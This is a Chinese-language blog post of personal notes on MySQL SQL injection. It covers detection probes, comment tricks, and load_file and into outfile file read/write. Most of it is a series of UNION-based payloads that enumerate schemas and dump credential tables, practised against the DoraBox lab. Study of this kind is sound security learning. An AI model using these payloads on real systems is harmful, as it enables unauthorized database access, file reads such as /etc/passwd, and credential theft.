SQL注入

想写个SQL攻击的大概步骤。

什么是SQL注入
SQL注入(Sql Injection )

是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
哪里存在SQL注入?

GET
POST
HTTP头部注入
Cookie注入
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

SQL注入的分类

根据SQL数据类型分类
整型注入
字符串类型注入
根据注入的语法分类
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Stacked queries SQL injection(可多语句查询注入)

如何去判断SQL注入漏洞
and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
MySQL数据库的特性
MySQL中3种注释风格

and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)

MySQL数据库的特性
MySQL中3种注释风格
(url编码为%23)
– (–后边要跟上一个或多个空格 –+)
/* … */
/*! … */ 内联注释
select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)

MySQL函数利用
常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os

load_file( )函数 读文件操作
前提

知道文件绝对路径
能够使用union查询
对web目录有写权限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )写文件操作
前提
文件名必须全路径(绝对路径),
用户必须有写文件的权限
没有对 ‘ 引号过滤
SELECT ‘’ into outfile ‘c:\Windows\tmp\1.php’

连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2…)
group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中自动去除了重复行。
UNION query SQl injection
利用前提
页面上有显示位
优点:
方便、快捷、易于利用
缺点:
需要显示位

步骤
判断列
order by 10
order by 20
order by 15//order by 1 表示按select的第一个字段排序 

判断显示位
url?id=-1 union select 1,2,3,4,5 (-1是查不到的,union联合查询)

获取当数据库名称和当前连接数据库的用户
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5

具体的操作:在dorabox上做的练习,首先要判断有多少列(利用order by),-1是查不到然后就没有输出结果,可以把变量值留给我们想要查的东西,union select 要求查询的列数相同 所以是 “1 ,user(),database()”(对应数据库表里的 id 标题 内容?)

列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

-1 UNION select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部显示
select group_concat(table_name) from information_schema.tables where
table_schema=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
//where用于过滤
//或者
-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'

列出(数据库:test 表:admin )中所有的字段(列名)
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'
-1 UNION select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='pentest' and TABLE_NAME='news'

列出(数据库:test 表:admin )中的数据
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin

-1 UNION SELECT 1,2,group_concat(concat(id,title,content)) from news

//单个输出
-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news
-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news limit 1,2//limit 决定输出第几行

如果输入语句是正确的可以尝试闭合,利用’或者#,如果遇到转义可以将字符串转为16进制。暂时就先写这么多,SQL做的不多,找几个靶场练练再继续写。

顺便把dorabox剩下的SQL也写了。

SQLi 字符型

1' or '1'='1 //回显正常,包裹形式为’ ’
1' order by 3# //字段数为3
DoraBox' and '1'='2' union select 1,2,3' //经典闭合,也可以直接利用 union select.但不知道后面这个'是为什么。。php和mysql都不熟啊。。
DoraBox' and '1'='2' union select 1,2,3# //貌似最后一个'是把原本的闭合了?直接用#注释?
-1' union select 1,2,database()# //爆库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'# //爆字段
-1' union select 1,2,concat_ws(",",id,rest,own) from account# //报数据

SQLi 搜索型

1' or 1=1#//回显正常(因为这次还有%需要闭合,如果用1’ or ‘1’='1后面的等式不成立)
1' order by 3#//字段数为3
-1' union select 1,2,3#//回显得到2,3
-1' union select 1,2,database()#//爆数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
//爆字段

-1' union select 1,2,concat_ws(",",id,rest,own) from account#
//爆数据(其实后面几个操作和上面差不多)

上一篇
下一篇